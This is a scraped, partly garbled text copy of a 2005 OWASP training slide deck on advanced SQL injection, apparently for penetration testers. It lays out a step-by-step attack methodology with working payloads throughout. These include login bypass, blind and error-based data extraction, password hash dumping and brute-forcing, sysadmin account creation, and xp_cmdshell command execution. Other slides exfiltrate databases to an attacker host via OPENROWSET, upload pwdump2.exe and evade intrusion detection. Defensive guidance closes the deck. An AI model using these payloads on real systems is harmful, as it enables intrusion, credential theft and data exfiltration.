Скачать презентацию Advanced SQL Injection Victor Chapela Sm 4 rt Скачать презентацию Advanced SQL Injection Victor Chapela Sm 4 rt

1f3f0ffa83a05567d6cd76eeb260039a.ppt

  • Количество слайдов: 86

Advanced SQL Injection Victor Chapela Sm 4 rt Security Services victor@sm 4 rt. com Advanced SQL Injection Victor Chapela Sm 4 rt Security Services [email protected] 4 rt. com OWASP 4/11/2005 Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http: //www. owasp. org

What is SQL Injection? The ability to inject SQL commands into the database engine What is SQL Injection? The ability to inject SQL commands into the database engine through an existing application OWASP 2

How common is it? < It is probably the most common Website vulnerability today! How common is it? < It is probably the most common Website vulnerability today! < It is a flaw in "web application" development, it is not a DB or web server problem 4 Most programmers are still not aware of this problem 4 A lot of the tutorials & demo “templates” are vulnerable 4 Even worse, a lot of solutions posted on the Internet are not good enough < In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection OWASP 3

Vulnerable Applications < Almost all SQL databases and programming languages are potentially vulnerable 4 Vulnerable Applications < Almost all SQL databases and programming languages are potentially vulnerable 4 MS SQL Server, Oracle, My. SQL, Postgres, DB 2, MS Access, Sybase, Informix, etc < Accessed through applications developed using: 4 Perl and CGI scripts that access databases 4 ASP, JSP, PHP 4 XML, XSL and XSQL 4 Javascript 4 VB, MFC, and other ODBC-based tools and APIs 4 DB specific Web-based applications and API’s 4 Reports and DB Applications 4 3 and 4 GL-based languages (C, OCI, Pro*C, and COBOL) 4 many more OWASP 4

How does SQL Injection work? Common vulnerable login query SELECT * FROM users WHERE How does SQL Injection work? Common vulnerable login query SELECT * FROM users WHERE login = 'victor' AND password = '123' (If it returns something then login!) ASP/MS SQL Server login syntax var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; OWASP 5

Injecting through Strings formusr = ' or 1=1 – – formpwd = anything Final Injecting through Strings formusr = ' or 1=1 – – formpwd = anything Final query would look like this: SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything' OWASP 6

The power of ' <It closes the string parameter <Everything after is considered part The power of '

If it were numeric? SELECT * FROM clients WHERE account = 12345678 AND pin If it were numeric? SELECT * FROM clients WHERE account = 12345678 AND pin = 1111 PHP/My. SQL login syntax $sql = "SELECT * FROM clients WHERE ". "account = $formacct AND ". "pin = $formpin"; OWASP 8

Injecting Numeric Fields $formacct = 1 or 1=1 # $formpin = 1111 Final query Injecting Numeric Fields $formacct = 1 or 1=1 # $formpin = 1111 Final query would look like this: SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111 OWASP 9

SQL Injection Characters < ' or SQL Injection Characters < ' or " character String Indicators < -- or # single-line comment < /*…*/ multiple-line comment <+ addition, concatenate (or space in url) < || (double pipe) concatenate <% wildcard attribute indicator < ? Param 1=foo&Param 2=bar URL Parameters < PRINT useful as non transactional command < @variable local variable < @@variable global variable < waitfor delay '0: 0: 10' time delay OWASP 10

Methodology OWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or Methodology OWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http: //www. owasp. org

SQL Injection Testing Methodology 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) SQL Injection Testing Methodology 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 12

1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 13

Discovery of Vulnerabilities < Vulnerabilities can be anywhere, we check all entry points: 4 Discovery of Vulnerabilities < Vulnerabilities can be anywhere, we check all entry points: 4 Fields in web forms 4 Script parameters in URL query strings 4 Values stored in cookies or hidden fields < By "fuzzing" we insert into every one: 4 Character sequence: ' " ) # || + > 4 SQL reserved words with white space delimiters § %09 select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc) 4 Delay query ' waitfor delay '0: 0: 10'-- OWASP 14

2) Information Gathering 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS 2) Information Gathering 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 15

2) Information Gathering < We will try to find out the following: a) b) 2) Information Gathering < We will try to find out the following: a) b) c) d) e) Output mechanism Understand the query Determine database type Find out user privilege level Determine OS interaction level OWASP 16

a) Exploring Output Mechanisms 1. 2. Using query result sets in the web application a) Exploring Output Mechanisms 1. 2. Using query result sets in the web application Error Messages 4 Craft SQL queries that generate specific types of error messages with valuable info in them 3. Blind SQL Injection 4 Use time delays or error signatures to determine extract information 4 Almost the same things can be done but Blind Injection is much slower and more difficult 4. Other mechanisms 4 e-mail, SMB, FTP, TFTP OWASP 17

Extracting information through Error Messages < Grouping Error o ' group by columnnames having Extracting information through Error Messages < Grouping Error o ' group by columnnames having 1=1 - - < Type Mismatch 4 ' union select 1, 1, 'text', 1, 1, 1 - 4 ' union select 1, 1, bigint, 1, 1, 1 - § Where 'text' or bigint are being united into an int column 4 In DBs that allow subqueries, a better way is: § ' and 1 in (select 'text' ) - - 4 In some cases we may need to CAST or CONVERT our data to generate the error messages OWASP 18

Blind Injection < We can use different known outcomes 4 ' and condition and Blind Injection < We can use different known outcomes 4 ' and condition and '1'='1 < Or we can use if statements 4 '; if condition waitfor delay '0: 0: 5' -4 '; union select if( condition , benchmark (100000, sha 1('test')), 'false' ), 1, 1; < Additionally, we can run all types of queries but with no debugging information! < We get yes/no responses only 4 We can extract ASCII a bit at a time. . . 4 Very noisy and time consuming but possible with automated tools like SQuea. L OWASP 19

b) Understanding the Query < The query can be: 4 SELECT 4 UPDATE 4 b) Understanding the Query < The query can be: 4 SELECT 4 UPDATE 4 EXEC 4 INSERT 4 Or something more complex < Context helps 4 What is the form or page trying to do with our input? 4 What is the name of the field, cookie or parameter? OWASP 20

SELECT Statement <Most injections will land in the middle of a SELECT statement <In SELECT Statement

UPDATE statement <In a change your password section of an app we may find UPDATE statement

Determining a SELECT Query Structure 1. Try to replicate an error free navigation o Determining a SELECT Query Structure 1. Try to replicate an error free navigation o Could be as simple as ' and '1' = '1 o Or ' and '1' = '2 2. Generate specific errors o Determine table and column names ' group by columnnames having 1=1 -o Do we need parenthesis? Is it a subquery? OWASP 23

Is it a stored procedure? <We use different injections to determine what we can Is it a stored procedure?

Tricky Queries < When we are in a part of a subquery or begin Tricky Queries < When we are in a part of a subquery or begin - end statement 4 We will need to use parenthesis to get out 4 Some functionality is not available in subqueries (for example group by, having and further subqueries) 4 In some occasions we will need to add an END < When several queries use the input 4 We may end up creating different errors in different queries, it gets confusing! < An error generated in the query we are interrupting may stop execution of our batch queries < Some queries are simply not escapable! OWASP 25

c) Determine Database Engine Type <Most times the error messages will let us know c) Determine Database Engine Type

Some differences MS SQL T-SQL My. SQL Access Oracle PL/SQL DB 2 ' '+' Some differences MS SQL T-SQL My. SQL Access Oracle PL/SQL DB 2 ' '+' ' concat (" ", " ") " "&" " ' '||' ' " "+" " ' '||' ' Null replace Isnull() Iff(Isnull()) Ifnull() COALESCE() Position CHARINDEX LOCATE() In. Str() TEXTPOS() xp_cmdshell select into outfile / dumpfile #date# utf_file import from export to Call Yes No No No Yes Concatenate Strings Op Sys interaction Cast Postgres PL/pg. SQL OWASP 27

More differences… MS SQL My. SQL Access Oracle DB 2 Postgres UNION Y Y More differences… MS SQL My. SQL Access Oracle DB 2 Postgres UNION Y Y Y Subselects Y N 4. 0 Y 4. 1 N Y Y Y Batch Queries Y N* N N N Y Default stored procedures Many N N Linking DBs Y Y N OWASP 28

d) Finding out user privilege level < There are several SQL 99 built-in scalar d) Finding out user privilege level < There are several SQL 99 built-in scalar functions that will work in most SQL implementations: 4 user or current_user 4 session_user 4 system_user < ' and 1 in (select user ) -< '; if user ='dbo' waitfor delay '0: 0: 5 '-< ' union select if( user() like '[email protected]%', benchmark(50000, sha 1('test')), 'false' ); OWASP 29

DB Administrators < Default administrator accounts include: 4 sa, system, sys, dba, admin, root DB Administrators < Default administrator accounts include: 4 sa, system, sys, dba, admin, root and many others < In MS SQL they map into dbo: 4 The dbo is a user that has implied permissions to perform all activities in the database. 4 Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo. 4 Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically. OWASP 30

3) 1=1 Attacks 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS 3) 1=1 Attacks 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 31

Discover DB structure <Determine table and column names ' group by columnnames having 1=1 Discover DB structure '. ') -OWASP 32

Enumerating table columns in different DBs < MS SQL 4 SELECT name FROM syscolumns Enumerating table columns in different DBs < MS SQL 4 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ') 4 sp_columns tablename (this stored procedure can be used instead) < My. SQL 4 show columns from tablename < Oracle 4 SELECT * FROM all_tab_columns WHERE table_name='tablename ' < DB 2 4 SELECT * FROM syscat. columns WHERE tabname= 'tablename ' < Postgres 4 SELECT attnum, attname from pg_class, pg_attribute WHERE relname= 'tablename ' AND pg_class. oid=attrelid AND attnum > 0 OWASP 33

All tables and columns in one query <' union select 0, sysobjects. name + All tables and columns in one query <' union select 0, sysobjects. name + ': ' + syscolumns. name + ': ' + systypes. name, 1, 1, '1', 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects. xtype = 'U' AND sysobjects. id = syscolumns. id AND syscolumns. xtype = systypes. xtype -- OWASP 34

Database Enumeration <In MS SQL Server, the databases can be queried with master. . Database Enumeration '. ' ) -- 4 File location of databases § ' and 1 in (select min(filename ) from master. dbo. sysdatabases where filename >'. ' ) -- OWASP 35

System Tables < Oracle 4 4 4 4 SYS. USER_OBJECTS SYS. TAB SYS. USER_TEBLES System Tables < Oracle 4 4 4 4 SYS. USER_OBJECTS SYS. TAB SYS. USER_TEBLES SYS. USER_VIEWS SYS. ALL_TABLES SYS. USER_TAB_COLUMNS SYS. USER_CATALOG < My. SQL 4 mysql. user 4 mysql. host 4 mysql. db < MS Access 4 4 Msys. ACEs Msys. Objects Msys. Queries Msys. Relationships < MS SQL Server 4 4 sysobjects syscolumns systypes sysdatabases OWASP 36

4) Extracting Data 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS 4) Extracting Data 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 37

Password grabbing <Grabbing username and passwords from a User Defined table 4'; begin declare Password grabbing @var select @var as var into temp end -4' and 1 in (select var from temp) -4' ; drop table temp -- OWASP 38

Create DB Accounts MS SQL 4 exec sp_addlogin 'victor', 'Pass 123' 4 exec sp_addsrvrolemember Create DB Accounts MS SQL 4 exec sp_addlogin 'victor', 'Pass 123' 4 exec sp_addsrvrolemember 'victor', 'sysadmin' My. SQL 4 INSERT INTO mysql. user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass 123')) Access 4 CREATE USER victor IDENTIFIED BY 'Pass 123' Postgres (requires UNIX account) 4 CREATE USER victor WITH PASSWORD 'Pass 123' Oracle 4 CREATE USER victor IDENTIFIED BY Pass 123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; 4 GRANT CONNECT TO victor; 4 GRANT RESOURCE TO victor; OWASP 39

Grabbing MS SQL Server Hashes < An easy query: 4 SELECT name, password FROM Grabbing MS SQL Server Hashes < An easy query: 4 SELECT name, password FROM sysxlogins < But, hashes are varbinary 4 To display them correctly through an error message we need to Hex them 4 And then concatenate all 4 We can only fit 70 name/password pairs in a varchar 4 We can only see 1 complete pair at a time < Password field requires dbo access 4 With lower privileges we can still recover user names and brute force the password OWASP 40

What do we do? < The hashes are extracted using 4 SELECT password FROM What do we do? < The hashes are extracted using 4 SELECT password FROM master. . sysxlogins < We then hex each hash begin @charvalue='0 x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789 ABCDEF' while (@i<[email protected]) BEGIN declare @tempint int, @firstint int, @secondint select @tempint=CONVERT(int, SUBSTRING(@binvalue, @i, 1)) select @firstint=FLOOR(@tempint/16) select @[email protected] - (@firstint*16) select @[email protected] + SUBSTRING (@hexstring, @firstint+1, 1) + SUBSTRING (@hexstring, @secondint+1, 1) select @[email protected]+1 END < And then we just cycle through all passwords OWASP 41

Extracting SQL Hashes <It is a long statement '; begin declare @var varchar(8000), @xdate Extracting SQL Hashes @xdate 1 and password is not null) end select @var as x into temp end -OWASP 42

Extract hashes through error messages <' and 1 in (select x from temp) -<' Extract hashes through error messages <' and 1 in (select x from temp) -<' and 1 in (select substring (x, 256) from temp) -<' and 1 in (select substring (x, 512, 256) from temp) -

Brute forcing Passwords < Passwords can be brute forced by using the attacked server Brute forcing Passwords < Passwords can be brute forced by using the attacked server to do the processing < SQL Crack Script 4 create table tempdb. . passwords( pwd varchar(255) ) 4 bulk insert tempdb. . passwords from 'c: temppasswords. txt' 4 select name, pwd from tempdb. . passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins. password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins. password, 0 ) = 1) union select sysxlogins. name, null from sysxlogins join syslogins on sysxlogins. sid=syslogins. sid where sysxlogins. password is null and syslogins. isntgroup=0 and syslogins. isntuser=0 4 drop table tempdb. . passwords OWASP 44

Transfer DB structure and data <Once network connectivity has been tested <SQL Server can Transfer DB structure and data

Create Identical DB Structure '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, Create Identical DB Structure '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_sysdatabases') select * from master. dbo. sysdatabases -- '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_sysdatabases') select * from user_database. dbo. sysobjects -- '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_syscolumns') select * from user_database. dbo. syscolumns -- OWASP 46

Transfer DB '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', Transfer DB '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . table 1') select * from database. . table 1 -- '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . table 2') select * from database. . table 2 -- OWASP 47

5) OS Interaction 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS 5) OS Interaction 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 48

Interacting with the OS < Two ways to interact with the OS: 1. Reading Interacting with the OS < Two ways to interact with the OS: 1. Reading and writing system files from disk § § § Find passwords and configuration files Change passwords and configuration Execute commands by overwriting initialization or configuration files 2. Direct command execution § We can do anything < Both are restricted by the database's running privileges and permissions OWASP 49

My. SQL OS Interaction <My. SQL 4 LOAD_FILE § ' union select 1, load_file('/etc/passwd'), My. SQL OS Interaction

MS SQL OS Interaction < MS SQL Server 4 '; exec master. . xp_cmdshell MS SQL OS Interaction < MS SQL Server 4 '; exec master. . xp_cmdshell 'ipconfig > test. txt' -4 '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test. txt' -- 4 '; begin declare @data varchar(8000) ; set @data='| ' ; select @[email protected]+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -4 ' and 1 in (select substring(x, 1, 256) from temp) -4 '; declare @var sysname; set @var = 'del test. txt'; EXEC master. . xp_cmdshell @var; drop table temp; drop table tmp -- OWASP 51

Architecture < To keep in mind always! < Our injection most times will be Architecture < To keep in mind always! < Our injection most times will be executed on a different server < The DB server may not even have Internet access Web Server Application Server Database Server Web Page Access Input Validation Flaw Injected SQL Execution! OWASP 52

Assessing Network Connectivity < Server name and configuration 4 ' and 1 in (select Assessing Network Connectivity < Server name and configuration 4 ' and 1 in (select @@servername ) -4 ' and 1 in (select srvname from master. . sysservers ) -- 4 Net. BIOS, ARP, Local Open Ports, Trace route? < Reverse connections 4 nslookup, ping 4 ftp, tftp, smb < We have to test for firewall and proxies OWASP 53

Gathering IP information through reverse lookups <Reverse DNS 4'; exec master. . xp_cmdshell 'nslookup Gathering IP information through reverse lookups

Network Reconnaissance <Using the xp_cmdshell all the following can be executed: 4 Ipconfig /all Network Reconnaissance

Network Reconnaissance Full Query < '; declare @var varchar(256); set @var = ' del Network Reconnaissance Full Query < '; declare @var varchar(256); set @var = ' del test. txt && arp a >> test. txt && ipconfig /all >> test. txt && nbtstat -c >> test. txt && netstat -ano >> test. txt && route print >> test. txt && tracert -w 10 -h 10 google. com >> test. txt'; EXEC master. . xp_cmdshell @var -< '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test. txt' -< '; begin declare @data varchar(8000) ; set @data=': ' ; select @[email protected]+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -< ' and 1 in (select substring(x, 1, 255) from temp) -< '; declare @var sysname; set @var = 'del test. txt'; EXEC master. . xp_cmdshell @var; drop table temp; drop table tmp -OWASP 56

6) OS Cmd Prompt 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) 6) OS Cmd Prompt 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 57

Jumping to the OS <Linux based My. SQL 4' union select 1, (load_file('/etc/passwd')), 1, Jumping to the OS

Using Active. X Automation Scripts Speech example 4'; declare @o int, @var int exec Using Active. X Automation Scripts Speech example 4'; declare @o int, @var int exec sp_oacreate 'speech. voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'x' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1 waitfor delay '00: 03' -- OWASP 59

Retrieving VNC Password from Registry <'; declare @out binary(8) exec master. . xp_regread @rootkey='HKEY_LOCAL_MACHINE', Retrieving VNC Password from Registry <'; declare @out binary(8) exec master. . xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWAREORLWin. VNC 3Default', @value_name='Password', @value = @out output select cast(@out as bigint) as x into TEMP-<' and 1 in (select cast(x as varchar) from temp) -OWASP 60

7) Expand Influence 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS 7) Expand Influence 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 61

Hopping into other DB Servers <Finding linked servers in MS SQL 4 select * Hopping into other DB Servers

Linked Servers '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', Linked Servers '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_sysservers') select * from master. dbo. sysservers '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_linked_sysservers') select * from Linked. Server. master. dbo. sysservers '; insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_linked_sysdatabases') select * from Linked. Server. master. dbo. sysdatabases OWASP 63

Executing through stored procedures remotely < If the remote server is configured to only Executing through stored procedures remotely < If the remote server is configured to only allow stored procedure execution, this changes would be made: insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_sysservers') exec Linked_Server. master. dbo. sp_executesql N'select * from master. dbo. sysservers' insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass 123; Network=DBMSSOCN; Address=my. IP, 80; ', 'select * from mydatabase. . hacked_sysdatabases') exec Linked_Server. master. dbo. sp_executesql N'select * from master. dbo. sysdatabases' OWASP 64

Uploading files through reverse connection < '; create table Attacker. Table (data text) -< Uploading files through reverse connection < '; create table Attacker. Table (data text) -< '; bulk insert Attacker. Table -from 'pwdump 2. exe' with (codepage='RAW') < '; exec master. . xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftMSSQLSer verClientConnect. To', ' My. Srv. Alias', 'REG_SZ', 'DBMSSOCN, My. IP, 80' -< '; exec xp_cmdshell 'bcp "select * from Attacker. Table" queryout pwdump 2. exe -c -Craw -SMy. Srv. Alias -Uvictor PPass 123' -- OWASP 65

Uploading files through SQL Injection <If the database server has no Internet connectivity, files Uploading files through SQL Injection

Example of SQL injection file uploading <The whole set of queries is lengthy <You Example of SQL injection file uploading

Evasion Techniques OWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute Evasion Techniques OWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http: //www. owasp. org

Evasion Techniques <Input validation circumvention and IDS Evasion techniques are very similar <Snort based Evasion Techniques

IDS Signature Evasion Evading ' OR 1=1 signature < ' OR 'unusual' = 'unusual' IDS Signature Evasion Evading ' OR 1=1 signature < ' OR 'unusual' = 'unusual' < ' OR 'something' = 'some'+'thing' < ' OR 'text' = N'text' < ' OR 'something' like 'some%' < ' OR 2 > 1 < ' OR 'text' > 't' < ' OR 'whatever' IN ('whatever') < ' OR 2 BETWEEN 1 AND 3 OWASP 70

Input validation <Some people use PHP addslashes() function to escape characters 4 single quote Input validation

Evasion and Circumvention <IDS and input validation can be circumvented by encoding <Some ways Evasion and Circumvention

My. SQL Input Validation Circumvention using Char() < Inject without quotes (string = My. SQL Input Validation Circumvention using Char() < Inject without quotes (string = "%"): 4 ' or username like char(37); < Inject without quotes (string = "root"): 4 ' union select * from users where login = char(114, 111, 116); < Load files in unions (string = "/etc/passwd"): 4 ' union select 1, (load_file(char(47, 101, 116, 99, 47, 112, 97, 115, 119, 100))), 1, 1, 1; < Check for existing files (string = "n. ext"): 4 ' and 1=( if( (load_file(char(110, 46, 101, 120, 116))<>char(39, 39)), 1, 0)); OWASP 73

IDS Signature Evasion using white spaces <UNION SELECT signature is different to <UNION SELECT IDS Signature Evasion using white spaces

IDS Signature Evasion using comments <Some IDS are not tricked by white spaces <Using IDS Signature Evasion using comments

IDS Signature Evasion using string concatenation <In My. SQL it is possible to separate IDS Signature Evasion using string concatenation

IDS and Input Validation Evasion using variables < Yet another evasion technique allows for IDS and Input Validation Evasion using variables < Yet another evasion technique allows for the definition of variables 4 ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER'); 4 EXEC (@x) 4 EXEC SP_EXECUTESQL @x < Or even using a hex value 4 ; declare @x varchar(80); set @x = 0 x 73656 c 65637420404076657273696 f 6 e; EXEC (@x) 4 This statement uses no single quotes (') OWASP 77

Defending Against SQL Injection OWASP Copyright © The OWASP Foundation Permission is granted to Defending Against SQL Injection OWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http: //www. owasp. org

SQL Injection Defense <It is quite simple: input validation <The real challenge is making SQL Injection Defense

Strong Design <Define an easy Strong Design

Input Validation <Define data types for each field 4 Implement stringent Input Validation

Harden the Server 1. Run DB as a low-privilege user account 2. Remove unused Harden the Server 1. Run DB as a low-privilege user account 2. Remove unused stored procedures and functionality or restrict access to administrators 3. Change permissions and remove "public" access to system objects 4. Audit password strength for all user accounts 5. Remove pre-authenticated linked servers 6. Remove unused network protocols 7. Firewall the server so that only trusted clients can connect to it (typically only: administrative network, web server and backup server) OWASP 82

Detection and Dissuasion < You may want to react to SQL injection attempts by: Detection and Dissuasion < You may want to react to SQL injection attempts by: 4 Logging the attempts 4 Sending email alerts 4 Blocking the offending IP 4 Sending back intimidating error messages: § "WARNING: Improper use of this application has been detected. A possible attack was identified. Legal actions will be taken. " § Check with your lawyers for proper wording < This should be coded into your validation scripts OWASP 83

Conclusion <SQL Injection is a fascinating and dangerous vulnerability <All programming languages and all Conclusion

Links < A lot of SQL Injection related papers 4 http: //www. nextgenss. com/papers. Links < A lot of SQL Injection related papers 4 http: //www. nextgenss. com/papers. htm 4 http: //www. spidynamics. com/support/whitepapers/ 4 http: //www. appsecinc. com/techdocs/whitepapers. html 4 http: //www. atstake. com/research/advisories < Other resources 4 http: //www. owasp. org 4 http: //www. sqlsecurity. com 4 http: //www. securityfocus. com/infocus/1768 OWASP 85

Advanced SQL Injection Victor Chapela victor@sm 4 rt. com OWASP Copyright © The OWASP Advanced SQL Injection Victor Chapela [email protected] 4 rt. com OWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http: //www. owasp. org